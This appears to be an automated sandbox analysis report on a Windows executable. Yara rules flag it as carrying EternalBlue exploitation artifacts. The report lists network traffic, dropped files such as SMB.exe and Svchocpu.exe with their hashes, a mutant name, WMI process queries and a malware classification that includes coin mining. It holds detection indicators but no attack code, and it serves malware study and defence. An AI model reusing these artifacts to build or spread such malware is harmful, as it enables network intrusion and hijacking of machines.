Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51986
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50415
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51987
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51508
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50338 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51701 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49942 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49816 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51517
Source: unknown	Network traffic detected: HTTP traffic on port 51735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50152 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49988 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51753
Source: unknown	Network traffic detected: HTTP traffic on port 51174 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51752
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50141 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49756 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51685 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50677
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51881
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50792
Source: unknown	Network traffic detected: HTTP traffic on port 50394 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51522
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50676
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50313
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50675
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50570 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49883 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51185 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52304 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50567
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51538
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52184 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51890
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51775
Source: unknown	Network traffic detected: HTTP traffic on port 50488 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51386
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51384
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51385
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50178
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52236
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52240
Source: unknown	Network traffic detected: HTTP traffic on port 51852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50274 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52295 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52124
Source: unknown	Network traffic detected: HTTP traffic on port 50091 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50066
Source: unknown	Network traffic detected: HTTP traffic on port 52306 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51036
Source: unknown	Network traffic detected: HTTP traffic on port 51118 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51692 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50072
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50071
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50074
Source: unknown	Network traffic detected: HTTP traffic on port 51725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52296 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52134
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52133
Source: unknown	Network traffic detected: HTTP traffic on port 52090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51294
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51174
Source: unknown	Network traffic detected: HTTP traffic on port 50676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51292
Source: unknown	Network traffic detected: HTTP traffic on port 50813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51296
Source: unknown	Network traffic detected: HTTP traffic on port 51693 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51185
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52153
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52271
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52272
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51461 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50606 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52318
Source: unknown	Network traffic detected: HTTP traffic on port 51715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50133
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51461
Source: unknown	Network traffic detected: HTTP traffic on port 52236 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50376 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50376
Source: unknown	Network traffic detected: HTTP traffic on port 52307 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50258
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51224
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52313
Source: unknown	Network traffic detected: HTTP traffic on port 51292 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51357 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51118
Source: unknown	Network traffic detected: HTTP traffic on port 50574 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52200
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50141
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52201
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50265
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50143
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51473
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51115
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51357
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52204
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52205
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52324
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51704 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51473 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51517 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50573 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50274
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50394
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50152
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52331
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50398
Source: unknown	Network traffic detected: HTTP traffic on port 51694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50265 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 50066 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52318 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52297 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51495
Source: unknown	Network traffic detected: HTTP traffic on port 50814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50401 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51683 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51522 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51602 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52082
Source: unknown	Network traffic detected: HTTP traffic on port 52281 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51705 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49866 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50398 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52091
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51689 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 52090
Source: unknown	Network traffic detected: HTTP traffic on port 51671 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50133 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51495 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50345 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50637 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49856 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51690 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52308 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 52240 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 51832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.12.23.50:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:50345 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:51044 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.6:51792 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:51889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52280 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52281 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52294 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.6:52295 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.83.247.108:443 -> 192.168.2.6:52313 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.115.3.253:443 -> 192.168.2.6:52318 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.103.199:443 -> 192.168.2.6:52324 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:52331 version: TLS 1.2

Source: conhost.exe	Process created: 55
Source: cmd.exe	Process created: 61

System Summary

Malicious sample detected (through community Yara rule)

Source: file.exe, type: SAMPLE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 27.0.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 27.2.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0.0.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 00000000.00000000.2142298215.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0000001B.00000000.2176836796.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: 0000001B.00000002.2185602892.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: Process Memory Space: file.exe PID: 4208, type: MEMORYSTR	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: Process Memory Space: file.exe PID: 5700, type: MEMORYSTR	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen
Source: C:\ProgramData\spread.txt, type: DROPPED	Matched rule: Detects Windows executables containing EternalBlue explitation artifacts Author: ditekSHen

Source: C:\Users\user\Desktop\file.exe

Process Stats: CPU usage > 49%

Source: Joe Sandbox View	Dropped File: C:\ProgramData\SMB.exe 5214F356F2E8640230E93A95633CD73945C38027B23E76BB5E617C71949F8994
Source: Joe Sandbox View	Dropped File: C:\ProgramData\Svchocpu.exe AC530D542A755ECCE6A656EA6309717EC222C34D7E34C61792F3B350A8A29301

Source: C:\Users\user\Desktop\file.exe

Process token adjusted: Security

Source: file.exe

Static PE information: invalid certificate

Source: file.exe

Binary or memory string: OriginalFilenamesteam.exeD vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe, type: SAMPLE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 27.0.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 27.2.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0.0.file.exe.f30000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 00000000.00000000.2142298215.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0000001B.00000000.2176836796.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: 0000001B.00000002.2185602892.00000000011EA000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: Process Memory Space: file.exe PID: 4208, type: MEMORYSTR	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: Process Memory Space: file.exe PID: 5700, type: MEMORYSTR	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts
Source: C:\ProgramData\spread.txt, type: DROPPED	Matched rule: INDICATOR_TOOL_EXP_EternalBlue author = ditekSHen, description = Detects Windows executables containing EternalBlue explitation artifacts

Source: classification engine

Classification label: mal100.troj.expl.evad.mine.winEXE@2056/8@43/100

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5988:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4896:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4040:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3648:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6432:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7048:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1540:120:WilError_03
Source: C:\Users\user\Desktop\file.exe	Mutant created: \Sessions\1\BaseNamedObjects\www.eqwedasda.xyz
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3004:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4616:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4236:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7128:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5908:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6508:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6140:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7060:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1476:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5696:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5712:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4184:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3556:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6068:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1008:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1804:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2052:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6312:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3352:120:WilError_03

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\cmd.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
Source: C:\Windows\SysWOW64\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Svchocpu.exe")
